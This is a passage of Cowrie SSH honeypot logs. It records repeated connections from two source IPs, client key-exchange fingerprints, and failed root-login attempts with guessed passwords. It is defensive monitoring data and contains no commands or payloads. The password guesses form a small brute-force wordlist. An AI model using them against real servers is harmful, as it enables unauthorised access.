"hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:19.555936Z","src_ip":"60.165.124.241","session":"4c68f4bf9515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"345ert#$%ERT","message":"login attempt [root/345ert#$%ERT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:20.275324Z","src_ip":"60.165.124.241","session":"4c68f4bf9515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:21.515771Z","src_ip":"60.165.124.241","session":"4c68f4bf9515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52486,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec30352aaaf6","protocol":"ssh","message":"New connection: 60.165.124.241:52486 (10.17.0.5:22) [session: ec30352aaaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:21.754018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:21.759518Z","src_ip":"60.165.124.241","session":"ec30352aaaf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:22.000295Z","src_ip":"60.165.124.241","session":"ec30352aaaf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test001!","message":"login attempt [root/Test001!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:22.727382Z","src_ip":"60.165.124.241","session":"ec30352aaaf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:23.973999Z","src_ip":"60.165.124.241","session":"ec30352aaaf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55412,"dst_ip":"10.17.0.5","dst_port":22,"session":"c809600b40d6","protocol":"ssh","message":"New connection: 60.165.124.241:55412 (10.17.0.5:22) [session: c809600b40d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:24.208402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:24.214056Z","src_ip":"60.165.124.241","session":"c809600b40d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:24.460319Z","src_ip":"60.165.124.241","session":"c809600b40d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kontol123","message":"login attempt [root/kontol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:25.210163Z","src_ip":"60.165.124.241","session":"c809600b40d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:26.454288Z","src_ip":"60.165.124.241","session":"c809600b40d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58822,"dst_ip":"10.17.0.5","dst_port":22,"session":"851921d3bba4","protocol":"ssh","message":"New connection: 60.165.124.241:58822 (10.17.0.5:22) [session: 851921d3bba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:26.688646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:26.693381Z","src_ip":"60.165.124.241","session":"851921d3bba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:26.931901Z","src_ip":"60.165.124.241","session":"851921d3bba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@#$%^&*!()root","message":"login attempt [root/@#$%^&*!()root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:27.649229Z","src_ip":"60.165.124.241","session":"851921d3bba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:28.895359Z","src_ip":"60.165.124.241","session":"851921d3bba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33706,"dst_ip":"10.17.0.5","dst_port":22,"session":"8338fda6a203","protocol":"ssh","message":"New connection: 60.165.124.241:33706 (10.17.0.5:22) [session: 8338fda6a203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:29.129606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:29.134462Z","src_ip":"60.165.124.241","session":"8338fda6a203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:29.376389Z","src_ip":"60.165.124.241","session":"8338fda6a203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin01!","message":"login attempt [root/Admin01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:30.108657Z","src_ip":"60.165.124.241","session":"8338fda6a203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:31.362924Z","src_ip":"60.165.124.241","session":"8338fda6a203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36720,"dst_ip":"10.17.0.5","dst_port":22,"session":"16801bcacbf4","protocol":"ssh","message":"New connection: 60.165.124.241:36720 (10.17.0.5:22) [session: 16801bcacbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:31.614686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:31.619573Z","src_ip":"60.165.124.241","session":"16801bcacbf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:31.865215Z","src_ip":"60.165.124.241","session":"16801bcacbf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpwd","message":"login attempt [root/rootpwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:32.627649Z","src_ip":"60.165.124.241","session":"16801bcacbf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:33.869550Z","src_ip":"60.165.124.241","session":"16801bcacbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39836,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4a9dff26a7b","protocol":"ssh","message":"New connection: 60.165.124.241:39836 (10.17.0.5:22) [session: c4a9dff26a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:34.100651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:34.105379Z","src_ip":"60.165.124.241","session":"c4a9dff26a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:34.345482Z","src_ip":"60.165.124.241","session":"c4a9dff26a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49238,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c192c498a02","protocol":"ssh","message":"New connection: 2.57.122.208:49238 (159.203.135.109:22) [session: 7c192c498a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:34.639803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:34.732600Z","src_ip":"2.57.122.208","session":"7c192c498a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:34.827934Z","src_ip":"2.57.122.208","session":"7c192c498a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd@1234","message":"login attempt [root/asd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:35.062857Z","src_ip":"60.165.124.241","session":"c4a9dff26a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:35.369379Z","src_ip":"2.57.122.208","session":"7c192c498a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:36.303652Z","src_ip":"60.165.124.241","session":"c4a9dff26a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42846,"dst_ip":"10.17.0.5","dst_port":22,"session":"f10fec9b33ff","protocol":"ssh","message":"New connection: 60.165.124.241:42846 (10.17.0.5:22) [session: f10fec9b33ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:36.535685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:36.541330Z","src_ip":"60.165.124.241","session":"f10fec9b33ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:36.637225Z","src_ip":"2.57.122.208","session":"7c192c498a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:36.777971Z","src_ip":"60.165.124.241","session":"f10fec9b33ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"koolshare","message":"login attempt [root/koolshare] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:37.500024Z","src_ip":"60.165.124.241","session":"f10fec9b33ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:38.740248Z","src_ip":"60.165.124.241","session":"f10fec9b33ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45966,"dst_ip":"10.17.0.5","dst_port":22,"session":"716d1b8f9395","protocol":"ssh","message":"New connection: 60.165.124.241:45966 (10.17.0.5:22) [session: 716d1b8f9395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:38.974127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:38.979189Z","src_ip":"60.165.124.241","session":"716d1b8f9395","protocol":"ssh"}
